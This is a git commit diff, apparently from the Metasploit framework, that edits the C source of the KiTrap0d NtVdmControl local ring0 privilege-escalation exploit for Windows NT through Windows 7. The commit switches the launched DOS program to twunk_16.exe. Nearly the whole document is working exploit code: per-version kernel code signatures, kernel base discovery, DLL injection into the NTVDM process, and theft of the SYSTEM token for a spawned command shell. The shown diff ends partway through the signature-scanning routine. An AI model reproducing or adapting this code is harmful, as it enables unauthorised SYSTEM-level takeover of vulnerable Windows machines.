Switch to twunk_16 for Windows 7 compatibility
git-svn-id: file:///home/svn/framework3/trunk@8230 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
e2e681fa2e
commit
a898901ad3
Binary file not shown.
Binary file not shown.
|
@ -46,7 +46,9 @@
|
|||
// Long-term, this will be reimplemented as an additional vector in the priv
|
||||
// extension.
|
||||
//
|
||||
// - hdm[at]metasploit.com 2010/01/19
|
||||
// This code now uses twunk_16.exe instead of debug.exe for compatibility.
|
||||
//
|
||||
// - hdm[at]metasploit.com 2010/01/25
|
||||
//
|
||||
|
||||
|
||||
|
@ -73,32 +75,32 @@
|
|||
enum { SystemModuleInformation = 11 };
|
||||
|
||||
typedef struct {
|
||||
ULONG Unknown1;
|
||||
ULONG Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
ULONG Unknown1;
|
||||
ULONG Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct {
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
|
||||
static CONST UCHAR CodeSignatures[][16] = {
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00" }, // Windows NT4
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows 2000
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows XP
|
||||
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00" }, // Windows 2003
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows Vista
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 2008
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 7
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00" }, // Windows NT4
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows 2000
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows XP
|
||||
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00" }, // Windows 2003
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows Vista
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 2008
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 7
|
||||
};
|
||||
|
||||
// Log levels.
|
||||
|
@ -112,358 +114,358 @@ BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase);
|
|||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
HANDLE VdmHandle;
|
||||
HANDLE RemoteThread;
|
||||
DWORD ShellPid = 0;
|
||||
HANDLE VdmHandle;
|
||||
HANDLE RemoteThread;
|
||||
DWORD ShellPid = 0;
|
||||
DWORD KillPid = 0;
|
||||
DWORD ThreadCode;
|
||||
DWORD KernelBase;
|
||||
DWORD ThreadCode;
|
||||
DWORD KernelBase;
|
||||
TCHAR VDMPath[_MAX_PATH];
|
||||
TCHAR CMDPath[_MAX_PATH];
|
||||
CHAR Buf[32];
|
||||
DWORD Offset;
|
||||
CHAR Buf[32];
|
||||
DWORD Offset;
|
||||
|
||||
if(argc > 1)
|
||||
ShellPid = atoi(argv[1]);
|
||||
ShellPid = atoi(argv[1]);
|
||||
|
||||
LogMessage(L_INFO,
|
||||
"\r"
|
||||
"--------------------------------------------------\n"
|
||||
"Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n"
|
||||
"-------------------------------------------- taviso@sdf.lonestar.org ---\n"
|
||||
"\n"
|
||||
);
|
||||
LogMessage(L_INFO,
|
||||
"\r"
|
||||
"--------------------------------------------------\n"
|
||||
"Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n"
|
||||
"-------------------------------------------- taviso@sdf.lonestar.org ---\n"
|
||||
"\n"
|
||||
);
|
||||
|
||||
GetSystemDirectory(VDMPath, 1024);
|
||||
_tcscat_s(VDMPath, _MAX_PATH, _T("\\debug.exe"));
|
||||
GetWindowsDirectory(VDMPath, 1024);
|
||||
_tcscat_s(VDMPath, _MAX_PATH, _T("\\twunk_16.exe"));
|
||||
|
||||
GetSystemDirectory(CMDPath, 1024);
|
||||
_tcscat_s(CMDPath, _MAX_PATH, _T("\\cmd.exe"));
|
||||
_tcscat_s(CMDPath, _MAX_PATH, _T("\\cmd.exe"));
|
||||
|
||||
if(! ShellPid) {
|
||||
// Spawn the process to be elevated to SYSTEM.
|
||||
LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)");
|
||||
if(! ShellPid) {
|
||||
// Spawn the process to be elevated to SYSTEM.
|
||||
LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)");
|
||||
|
||||
if (PrepareProcessForSystemToken(CMDPath, &ShellPid) != TRUE) {
|
||||
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
if (PrepareProcessForSystemToken(CMDPath, &ShellPid) != TRUE) {
|
||||
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
}
|
||||
|
||||
// Scan kernel image for the required code sequence, and find the base address.
|
||||
if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
|
||||
LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
// Scan kernel image for the required code sequence, and find the base address.
|
||||
if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
|
||||
LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
|
||||
// Pass the parameters required by exploit thread to NTVDM.
|
||||
SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf));
|
||||
SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf));
|
||||
SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf));
|
||||
// Pass the parameters required by exploit thread to NTVDM.
|
||||
SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf));
|
||||
SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf));
|
||||
SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf));
|
||||
|
||||
// Invoke the NTVDM subsystem, by launching any MS-DOS executable.
|
||||
LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable");
|
||||
// Invoke the NTVDM subsystem, by launching any MS-DOS executable.
|
||||
LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable");
|
||||
|
||||
if (SpawnNTVDMAndGetUsefulAccess(VDMPath, &VdmHandle) == FALSE) {
|
||||
LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
if (SpawnNTVDMAndGetUsefulAccess(VDMPath, &VdmHandle) == FALSE) {
|
||||
LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
|
||||
// Start the exploit thread in the NTVDM process.
|
||||
LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle);
|
||||
// Start the exploit thread in the NTVDM process.
|
||||
LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle);
|
||||
|
||||
if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, &RemoteThread) == FALSE) {
|
||||
LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, &RemoteThread) == FALSE) {
|
||||
LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
|
||||
|
||||
// Wait for the thread to complete
|
||||
LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);
|
||||
// Wait for the thread to complete
|
||||
LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);
|
||||
|
||||
WaitForSingleObject(RemoteThread, INFINITE);
|
||||
WaitForSingleObject(RemoteThread, INFINITE);
|
||||
|
||||
|
||||
// I pass some information back via the exit code to indicate what happened.
|
||||
GetExitCodeThread(RemoteThread, &ThreadCode);
|
||||
// I pass some information back via the exit code to indicate what happened.
|
||||
GetExitCodeThread(RemoteThread, &ThreadCode);
|
||||
|
||||
LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode);
|
||||
LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode);
|
||||
|
||||
switch (ThreadCode) {
|
||||
case 'VTIB':
|
||||
// A data structure supplied to the kernel called VDM_TIB has to have a `size` field that
|
||||
// matches what the kernel expects.
|
||||
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
|
||||
LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure");
|
||||
break;
|
||||
case 'NTAV':
|
||||
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
|
||||
// expects to be present.
|
||||
// The exploit thread reports it didn't work.
|
||||
LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space");
|
||||
break;
|
||||
case 'VDMC':
|
||||
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
|
||||
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
|
||||
// it's failing.
|
||||
LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed");
|
||||
break;
|
||||
case 'LPID':
|
||||
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
|
||||
// unprivileged process owned by you.
|
||||
// PsLookupProcessByProcessId() failed when trying to find your process.
|
||||
LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed");
|
||||
break;
|
||||
case FALSE:
|
||||
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
|
||||
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
|
||||
LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll");
|
||||
break;
|
||||
case 'w00t':
|
||||
// This means the exploit payload was executed at ring0 and succeeded.
|
||||
LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
|
||||
switch (ThreadCode) {
|
||||
case 'VTIB':
|
||||
// A data structure supplied to the kernel called VDM_TIB has to have a `size` field that
|
||||
// matches what the kernel expects.
|
||||
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
|
||||
LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure");
|
||||
break;
|
||||
case 'NTAV':
|
||||
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
|
||||
// expects to be present.
|
||||
// The exploit thread reports it didn't work.
|
||||
LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space");
|
||||
break;
|
||||
case 'VDMC':
|
||||
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
|
||||
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
|
||||
// it's failing.
|
||||
LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed");
|
||||
break;
|
||||
case 'LPID':
|
||||
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
|
||||
// unprivileged process owned by you.
|
||||
// PsLookupProcessByProcessId() failed when trying to find your process.
|
||||
LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed");
|
||||
break;
|
||||
case FALSE:
|
||||
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
|
||||
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
|
||||
LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll");
|
||||
break;
|
||||
case 'w00t':
|
||||
// This means the exploit payload was executed at ring0 and succeeded.
|
||||
LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
|
||||
if(! KillPid)
|
||||
LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
|
||||
break;
|
||||
default:
|
||||
// Unknown error. Sorry, you're on your own.
|
||||
LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode);
|
||||
break;
|
||||
}
|
||||
LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
|
||||
break;
|
||||
default:
|
||||
// Unknown error. Sorry, you're on your own.
|
||||
LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode);
|
||||
break;
|
||||
}
|
||||
|
||||
TerminateProcess(VdmHandle, 0);
|
||||
CloseHandle(VdmHandle);
|
||||
CloseHandle(RemoteThread);
|
||||
TerminateProcess(VdmHandle, 0);
|
||||
CloseHandle(VdmHandle);
|
||||
CloseHandle(RemoteThread);
|
||||
|
||||
if(KillPid) {
|
||||
LogMessage(L_INFO, "Killing the temporary process handle with pid %d", KillPid);
|
||||
VdmHandle = OpenProcess( PROCESS_TERMINATE, FALSE, KillPid );
|
||||
if(VdmHandle && VdmHandle != INVALID_HANDLE_VALUE) {
|
||||
TerminateProcess(VdmHandle, 0);
|
||||
}
|
||||
LogMessage(L_INFO, "Killing the temporary process handle with pid %d", KillPid);
|
||||
VdmHandle = OpenProcess( PROCESS_TERMINATE, FALSE, KillPid );
|
||||
if(VdmHandle && VdmHandle != INVALID_HANDLE_VALUE) {
|
||||
TerminateProcess(VdmHandle, 0);
|
||||
}
|
||||
}
|
||||
|
||||
finished:
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Start a process to give SYSTEM token to.
|
||||
static BOOL PrepareProcessForSystemToken(PCHAR App, PDWORD ProcessId)
|
||||
{
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) {
|
||||
LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) {
|
||||
LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);
|
||||
LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);
|
||||
|
||||
*ProcessId = pi.dwProcessId;
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return TRUE;
|
||||
*ProcessId = pi.dwProcessId;
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Grab a useful Handle to NTVDM.
|
||||
static BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR App, PHANDLE ProcessHandle)
|
||||
{
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
STARTUPINFO si = { sizeof si };
|
||||
ULONG i;
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
STARTUPINFO si = { sizeof si };
|
||||
ULONG i;
|
||||
|
||||
// Start the child process, which should invoke NTVDM.
|
||||
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
|
||||
LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
// Start the child process, which should invoke NTVDM.
|
||||
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
|
||||
LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);
|
||||
LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);
|
||||
|
||||
// Get more access
|
||||
if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD
|
||||
| PROCESS_QUERY_INFORMATION
|
||||
| PROCESS_VM_OPERATION
|
||||
| PROCESS_VM_WRITE
|
||||
| PROCESS_VM_READ
|
||||
| PROCESS_TERMINATE,
|
||||
FALSE,
|
||||
pi.dwProcessId)) == NULL) {
|
||||
LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError());
|
||||
TerminateProcess(pi.hProcess, 'SPWN');
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
// Get more access
|
||||
if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD
|
||||
| PROCESS_QUERY_INFORMATION
|
||||
| PROCESS_VM_OPERATION
|
||||
| PROCESS_VM_WRITE
|
||||
| PROCESS_VM_READ
|
||||
| PROCESS_TERMINATE,
|
||||
FALSE,
|
||||
pi.dwProcessId)) == NULL) {
|
||||
LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError());
|
||||
TerminateProcess(pi.hProcess, 'SPWN');
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogMessage(L_DEBUG, "OpenProcess(%u) => %#x", pi.dwProcessId, *ProcessHandle);
|
||||
LogMessage(L_DEBUG, "OpenProcess(%u) => %#x", pi.dwProcessId, *ProcessHandle);
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return TRUE;
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Use the DLL Injection technique to access the NTVDM process.
|
||||
// http://en.wikipedia.org/wiki/DLL_injection
|
||||
static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread)
|
||||
{
|
||||
PVOID RemotePage;
|
||||
LPTHREAD_START_ROUTINE StartRoutine;
|
||||
PVOID RemotePage;
|
||||
LPTHREAD_START_ROUTINE StartRoutine;
|
||||
|
||||
assert(ProcessHandle != INVALID_HANDLE_VALUE);
|
||||
assert(DllPath);
|
||||
assert(RemoteThread);
|
||||
assert(ProcessHandle != INVALID_HANDLE_VALUE);
|
||||
assert(DllPath);
|
||||
assert(RemoteThread);
|
||||
|
||||
// Allocate a page in the child process
|
||||
if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) {
|
||||
LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
// Allocate a page in the child process
|
||||
if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) {
|
||||
LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Write in the name of my DLL (note, memory is already zeroed)
|
||||
if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) {
|
||||
LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
// Write in the name of my DLL (note, memory is already zeroed)
|
||||
if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) {
|
||||
LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);",
|
||||
ProcessHandle,
|
||||
RemotePage,
|
||||
DllPath,
|
||||
strlen(DllPath));
|
||||
LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);",
|
||||
ProcessHandle,
|
||||
RemotePage,
|
||||
DllPath,
|
||||
strlen(DllPath));
|
||||
|
||||
// Execute it in child process, loading the specified library
|
||||
*RemoteThread = CreateRemoteThread(ProcessHandle,
|
||||
NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)
|
||||
GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"),
|
||||
RemotePage,
|
||||
0,
|
||||
NULL);
|
||||
// Execute it in child process, loading the specified library
|
||||
*RemoteThread = CreateRemoteThread(ProcessHandle,
|
||||
NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)
|
||||
GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"),
|
||||
RemotePage,
|
||||
0,
|
||||
NULL);
|
||||
CloseHandle(ProcessHandle);
|
||||
|
||||
return *RemoteThread != NULL;
|
||||
return *RemoteThread != NULL;
|
||||
}
|
||||
|
||||
// Scan the appropriate kernel image for the correct offset
|
||||
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase)
|
||||
{
|
||||
FARPROC NtQuerySystemInformation;
|
||||
HMODULE KernelHandle;
|
||||
PIMAGE_DOS_HEADER DosHeader;
|
||||
PIMAGE_NT_HEADERS PeHeader;
|
||||
PIMAGE_OPTIONAL_HEADER OptHeader;
|
||||
OSVERSIONINFO osvi = { sizeof osvi };
|
||||
PBYTE ImageBase;
|
||||
DWORD PhysicalAddressExtensions, DataSize;
|
||||
ULONG i;
|
||||
HKEY MmHandle;
|
||||
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
|
||||
FARPROC NtQuerySystemInformation;
|
||||
HMODULE KernelHandle;
|
||||
PIMAGE_DOS_HEADER DosHeader;
|
||||
PIMAGE_NT_HEADERS PeHeader;
|
||||
PIMAGE_OPTIONAL_HEADER OptHeader;
|
||||
OSVERSIONINFO osvi = { sizeof osvi };
|
||||
PBYTE ImageBase;
|
||||
DWORD PhysicalAddressExtensions, DataSize;
|
||||
ULONG i;
|
||||
HKEY MmHandle;
|
||||
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
|
||||
|
||||
// List of versions I have code signatures for.
|
||||
enum {
|
||||
MICROSOFT_WINDOWS_NT4 = 0,
|
||||
MICROSOFT_WINDOWS_2000 = 1,
|
||||
MICROSOFT_WINDOWS_XP = 2,
|
||||
MICROSOFT_WINDOWS_2003 = 3,
|
||||
MICROSOFT_WINDOWS_VISTA = 4,
|
||||
MICROSOFT_WINDOWS_2008 = 5,
|
||||
MICROSOFT_WINDOWS_7 = 6,
|
||||
} Version = MICROSOFT_WINDOWS_7;
|
||||
// List of versions I have code signatures for.
|
||||
enum {
|
||||
MICROSOFT_WINDOWS_NT4 = 0,
|
||||
MICROSOFT_WINDOWS_2000 = 1,
|
||||
MICROSOFT_WINDOWS_XP = 2,
|
||||
MICROSOFT_WINDOWS_2003 = 3,
|
||||
MICROSOFT_WINDOWS_VISTA = 4,
|
||||
MICROSOFT_WINDOWS_2008 = 5,
|
||||
MICROSOFT_WINDOWS_7 = 6,
|
||||
} Version = MICROSOFT_WINDOWS_7;
|
||||
|
||||
// NtQuerySystemInformation can be used to find kernel base address
|
||||
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation");
|
||||
// NtQuerySystemInformation can be used to find kernel base address
|
||||
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation");
|
||||
|
||||
// Determine kernel version so that the correct code signature is used
|
||||
GetVersionEx(&osvi);
|
||||
// Determine kernel version so that the correct code signature is used
|
||||
GetVersionEx(&osvi);
|
||||
|
||||
LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion);
|
||||
LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion);
|
||||
|
||||
if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
|
||||
Version = MICROSOFT_WINDOWS_NT4;
|
||||
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
|
||||
Version = MICROSOFT_WINDOWS_2000;
|
||||
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
|
||||
Version = MICROSOFT_WINDOWS_XP;
|
||||
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
|
||||
Version = MICROSOFT_WINDOWS_2003;
|
||||
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
|
||||
Version = MICROSOFT_WINDOWS_VISTA;
|
||||
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
|
||||
Version = MICROSOFT_WINDOWS_2008;
|
||||
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)
|
||||
Version = MICROSOFT_WINDOWS_7;
|
||||
if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
|
||||
Version = MICROSOFT_WINDOWS_NT4;
|
||||
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
|
||||
Version = MICROSOFT_WINDOWS_2000;
|
||||
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
|
||||
Version = MICROSOFT_WINDOWS_XP;
|
||||
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
|
||||
Version = MICROSOFT_WINDOWS_2003;
|
||||
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
|
||||
Version = MICROSOFT_WINDOWS_VISTA;
|
||||
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
|
||||
Version = MICROSOFT_WINDOWS_2008;
|
||||
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)
|
||||
Version = MICROSOFT_WINDOWS_7;
|
||||
|
||||
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
|
||||
NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL);
|
||||
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
|
||||
NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL);
|
||||
|
||||
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
|
||||
ModuleInfo.Module[0].ImageName,
|
||||
ModuleInfo.Module[0].Base);
|
||||
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
|
||||
ModuleInfo.Module[0].ImageName,
|
||||
ModuleInfo.Module[0].Base);
|
||||
|
||||
// Load the kernel image specified
|
||||
if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) {
|
||||
LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
// Load the kernel image specified
|
||||
if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) {
|
||||
LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Parse image headers
|
||||
*KernelBase = (DWORD) ModuleInfo.Module[0].Base;
|
||||
ImageBase = (PBYTE) KernelHandle;
|
||||
